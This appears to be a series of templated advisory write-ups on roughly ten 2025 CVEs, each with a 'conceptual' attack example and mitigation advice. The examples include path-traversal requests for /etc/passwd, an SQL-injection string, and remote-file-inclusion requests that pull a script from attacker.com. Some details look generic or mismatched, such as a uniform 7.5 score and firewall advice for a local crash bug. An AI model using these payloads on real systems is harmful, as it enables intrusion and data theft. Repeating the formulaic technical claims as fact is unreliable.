Author: Ameeba

Overview

A significant vulnerability, identified as CVE-2025-48026, has been discovered in the WebApl component of Mitel’s OpenScape Xpressions system. This vulnerability could lead to unauthorized access and potential system compromise or data leakage. The vulnerability impacts all systems using specific versions of the product and is of significant concern due to its potential to be exploited without authentication.

Vulnerability Summary

CVE ID: CVE-2025-48026
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized system access, potential data leakage, and system compromise

Affected Products

Product | Affected Versions

Mitel OpenScape Xpressions | Through V7R1 FR5 HF43 P913

How the Exploit Works

The vulnerability lies in the insufficient input validation of the WebApl component of Mitel’s OpenScape Xpressions. This flaw allows an unauthenticated attacker to conduct a path traversal attack. With a successful exploit, the attacker can read files from the underlying OS and gain access to sensitive information, potentially compromising the entire system.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a specially crafted request to the server. The following example demonstrates a conceptual HTTP request an attacker might use:

GET /path/to/vulnerable/endpoint/../../../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, `../../../../etc/passwd` is the path traversal payload designed to fetch sensitive files from the server. The actual malicious payload may vary based on the attacker’s intentions and the specific system’s configuration.

Recommended Mitigation

Users should apply the vendor’s patch as soon as it becomes available. If the patch is not yet available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can detect and block path traversal attacks, protecting the system until a permanent fix can be applied.

Overview

The vulnerability identified as CVE-2025-44528 poses a significant risk to users of the Texas Instruments LP-CC2652RB SimpleLink CC13XX CC26XX SDK 7.41.00.17. This security issue can lead to a Denial of Service (DoS) attack, potentially leading to system compromise or data leak, which could be devastating for organizations relying on the affected system.

Vulnerability Summary

CVE ID: CVE-2025-44528
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

Texas Instruments LP-CC2652RB SimpleLink CC13XX CC26XX SDK | 7.41.00.17

How the Exploit Works

The vulnerability can be exploited by an attacker sending a specially crafted LL_Pause_Enc_Req packet during the authentication and connection phase of the Texas Instruments SDK. A successful exploit can cause a Denial of Service (DoS), disrupting the operations of the system and potentially leading to system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This pseudocode represents the crafted LL_Pause_Enc_Req packet that triggers the DoS condition.

import socket
def exploit(target_ip, target_port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
ll_pause_enc_req = "<crafted LL_Pause_Enc_Req packet>"
sock.send(ll_pause_enc_req)
sock.close()
exploit("target_ip", target_port)

Please note that this is a conceptual example and for informational purposes only. Actual exploitation may vary depending on the specific circumstances.

Mitigation

To mitigate the impact of this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation strategy to prevent potential attacks.

Overview

The PHPGurukul Pre-School Enrollment System Project V1.0 is vulnerable to a directory traversal attack, as discovered in the update-teacher-pic.php file. This vulnerability allows potential unauthorized data access, system compromise, and data leakage, affecting businesses and individuals who use this system for their pre-school enrollment processes. It is a critical vulnerability that demands immediate attention due to its high severity score.

Vulnerability Summary

CVE ID: CVE-2025-50349
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

PHPGurukul Pre-School Enrollment System Project | V1.0

How the Exploit Works

The exploit takes advantage of inadequate security measures in the handling of file paths in the update-teacher-pic.php file. An attacker can manipulate file paths to gain unauthorized access to directories and files outside of the intended directory, thereby gaining access to sensitive information or compromising the system.

Conceptual Example Code

Below is a conceptual example showing how an HTTP request might manipulate the file path to exploit this vulnerability:

POST /update-teacher-pic.php HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"pic_path": "../../../../etc/passwd"
}

In this example, the attacker tries to access the /etc/passwd file, which is a sensitive file outside the intended directory. This file contains user password information, which could potentially lead to a system compromise if accessed by an unauthorized user.

Mitigation Guidance

Users of the affected system are advised to apply the vendor patch immediately as a permanent solution. As a temporary mitigation, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be employed to monitor and block suspicious activities.

Overview

A critical cybersecurity vulnerability, tagged as CVE-2025-50348, has been identified in PHPGurukul Pre-School Enrollment System Project V1.0, a software widely used in educational institutions. This vulnerability opens the door for potential directory traversal attacks, leading to system compromise or data leakage. The severity of this vulnerability coupled with the software’s extensive use underscores the urgent need for immediate remediation.

Vulnerability Summary

CVE ID: CVE-2025-50348
Severity: High (7.5 – CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

PHPGurukul Pre-School Enrollment System Project | V1.0

How the Exploit Works

The CVE-2025-50348 vulnerability exists due to insufficient input validation in the update-class-pic.php file of PHPGurukul Pre-School Enrollment System Project V1.0. An attacker can craft a malicious GET/POST request containing directory traversal characters (../) to access directories and execute files outside of the intended directory.

Conceptual Example Code

The following is a conceptual example of a malicious HTTP request that could exploit this vulnerability:

POST /update-class-pic.php HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "pic_path": "../../../etc/passwd" }

In this example, the “pic_path” parameter is used to traverse the directory structure to access sensitive data contained in the “/etc/passwd” file, a standard Unix file that contains user account details.

Mitigation Measures

To mitigate this vulnerability, users of PHPGurukul Pre-School Enrollment System Project V1.0 are advised to apply the latest patches provided by the vendor as soon as possible. In the interim, usage of Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can help in detecting and preventing directory traversal attacks. Regular audits of systems and usage of least privilege principles can also reduce the potential impact of such vulnerabilities.

Overview

The vulnerability, labeled CVE-2025-3221, is a potent security flaw discovered in IBM InfoSphere Information Server versions 11.7.0.0 through 11.7.1.6. This vulnerability allows a remote attacker to cause a denial-of-service (DoS) attack. The severity and the potential for system compromise or data leakage make this vulnerability crucial for organizations to address.

Vulnerability Summary

CVE ID: CVE-2025-3221
Severity: High – CVSS Score: 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service attack, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

IBM InfoSphere Information Server | 11.7.0.0 to 11.7.1.6

How the Exploit Works

The vulnerability is due to insufficient validation of incoming request resources. A remote attacker can exploit this by sending specially crafted requests to the affected system. This can lead to a denial of service, which can potentially compromise the system and lead to data leakage.

Conceptual Example Code

An attacker might exploit the vulnerability by sending a malicious request like the one below:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "..." }

This is a conceptual example, and the actual malicious payload would depend on the specific details of the vulnerability.

Mitigation

IBM has released a patch addressing this vulnerability. All users are advised to apply the vendor patch as soon as possible. In cases where immediate patching is not feasible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. However, these should not be seen as a permanent solution and the patch should be applied as soon as practicable.

Overview

A high impact vulnerability, identified as CVE-2025-45331, has been discovered in the data processing module of brplot v420.69.1. This vulnerability, which is a Null Pointer Dereference (NPD) flaw, can lead to unpredictable program behavior, causing segmentation faults and program crashes. It is of significant concern because it could potentially result in system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-45331
Severity: High (CVSS: 7.5)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

brplot | v420.69.1

How the Exploit Works

The vulnerability CVE-2025-45331 resides in the ‘br_dagens_handle_once’ function of the data processing module in brplot v420.69.1. An attacker exploiting this vulnerability can trigger a Null Pointer Dereference (NPD) error by supplying specific inputs. This will lead to segmentation faults and program crashes, and could potentially allow the attacker to execute arbitrary code or cause a denial of service.

Conceptual Example Code

A conceptual example of an exploit of the vulnerability might look like this:

#include <brplot.h>
int main() {
brplot_data data = NULL;
br_dagens_handle_once(data);
return 0;
}

In this conceptual example, the brplot_data variable is intentionally set to NULL, and then passed to the vulnerable ‘br_dagens_handle_once’ function, causing a Null Pointer Dereference and potentially crashing the program.

Mitigation

Users are advised to apply the vendor patch as soon as it is available. Until then, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can offer temporary mitigation. These systems can be configured to detect and block attempts to exploit this vulnerability.

Overview

This report provides an analysis of the critical vulnerability CVE-2025-44203, which affects HotelDruid 3.0.7. This pervasive vulnerability allows an unauthenticated attacker to exploit SQL error messages, potentially compromising the system or leading to data leakage. Given the potential for significant impact on affected systems, it is crucial for administrators and system owners to understand the nature of this vulnerability and its mitigation.

Vulnerability Summary

CVE ID: CVE-2025-44203
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise, data leakage, and Denial of Service (DoS)

Affected Products

Product | Affected Versions

HotelDruid | 3.0.7

How the Exploit Works

The vulnerability lies in the verbose SQL error messages on creadb.php before the ‘create database’ button is pressed. An attacker can send malformed POST requests to this endpoint, which can cause the system to reveal sensitive data such as the administrator username, password hash, and salt. In addition, the exploit can potentially cause a Denial of Service (DoS), preventing the administrator from logging in even with the correct credentials.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /creadb.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
malformed_data=' OR '1'='1

In this example, the attacker sends a malformed SQL query in the POST request. If the system is vulnerable, it may respond with verbose SQL error messages revealing sensitive information.

Mitigation

Until a patch is available from the vendor, administrators are advised to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to mitigate the vulnerability. These systems can detect and block the malformed POST requests that exploit this vulnerability. Always ensure that your systems are updated with the latest security patches and follow best security practices to mitigate the risks of such vulnerabilities.

Overview

The CVE-2025-52802 vulnerability pertains to a missing authorization issue in the ‘Import YouTube videos as WP Posts’ WordPress plugin. This vulnerability poses a significant risk to any website utilizing versions of the plugin up to and including 2.1, as it allows unauthorized access due to improperly configured access control security levels. The flaw’s exploitation can potentially result in system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-52802
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Import YouTube videos as WP Posts | Up to and including 2.1

How the Exploit Works

The exploit takes advantage of a missing authorization check in the ‘Import YouTube videos as WP Posts’ plugin. By exploiting the incorrectly configured access control security levels, an attacker can gain unauthorized access to the system. This can subsequently lead to unauthorized actions such as data manipulation or extraction, potentially resulting in system compromise or data leakage.

Conceptual Example Code

Here is a hypothetical example of how the vulnerability might be exploited:

GET /wp-admin/admin-ajax.php?action=import_youtube_videos_as_wp_posts&target_url=malicious_content HTTP/1.1
Host: target.example.com
Content-Type: application/json

In this example, an attacker sends a GET request to the vulnerable endpoint, `admin-ajax.php`, with a malicious URL as a parameter. Due to the lack of proper authorization checks, the server processes the request, leading to the execution of the attacker’s malicious content.

Mitigation Guidance

To mitigate this vulnerability, users should apply the vendor’s patch. If the patch is unavailable, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Regularly updating and patching software can also prevent future vulnerabilities of this nature.

Overview

The vulnerability, CVE-2025-52715, is a significant security breach that affects RadiusTheme Classified Listing users. This PHP Remote File Inclusion vulnerability allows attackers to include and execute arbitrary remote files via the PHP script, potentially leading to system compromise or data leakage. It is crucial to address this vulnerability promptly due to its potential for detrimental impacts on system integrity and confidentiality.

Vulnerability Summary

CVE ID: CVE-2025-52715
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

RadiusTheme Classified Listing | n/a – 4.2.0

How the Exploit Works

The PHP Remote File Inclusion vulnerability occurs when an application uses user input to construct a filesystem path that is then included or required by the application. In this case, the inadequate controls within the Classified Listing application allow an attacker to manipulate the filename that is passed to the include/require statement, thereby allowing the inclusion of a file from a remote server.

Conceptual Example Code

The below conceptual example demonstrates how an attacker might exploit this vulnerability using a malicious URL:

GET /vulnerable_page.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, the attacker has injected a malicious script (`malicious_script.txt`) hosted on their server (`attacker.com`) into the `file` parameter of the URL. The server then processes the included malicious script, leading to a successful exploit.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the patch provided by the vendor. In the absence of a patch, a temporary solution involves using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block any suspicious activity. Furthermore, it is recommended to disable the inclusion of remote files in the PHP configuration if it’s not necessary for the application’s functionality.

Overview

The vulnerability, identified as CVE-2025-52708, exploits a PHP Remote File Inclusion vulnerability in RealMag777 HUSKY. It allows an attacker to include PHP files from external servers, potentially leading to system compromise or data leakage. Given its severity and widespread potential impact, it is critical that businesses ensure their systems are adequately protected.

Vulnerability Summary

CVE ID: CVE-2025-52708
Severity: High (7.5/10)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

RealMag777 HUSKY | n/a through 1.3.7

How the Exploit Works

The PHP Remote File Inclusion vulnerability in RealMag777 HUSKY allows an attacker to manipulate the PHP “include” or “require” statements, which are used to import and execute PHP code from another file. By manipulating the filename for these statements, an attacker can include PHP files from an external server, effectively executing arbitrary PHP code on the victim’s server.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a malicious request like this:

GET /index.php?file=http://attacker.com/malicious_file HTTP/1.1
Host: vulnerable.example.com

In this example, the attacker is attempting to include and execute the file “malicious_file” from “attacker.com” on the victim’s server. If successful, this could lead to a system compromise or data leakage.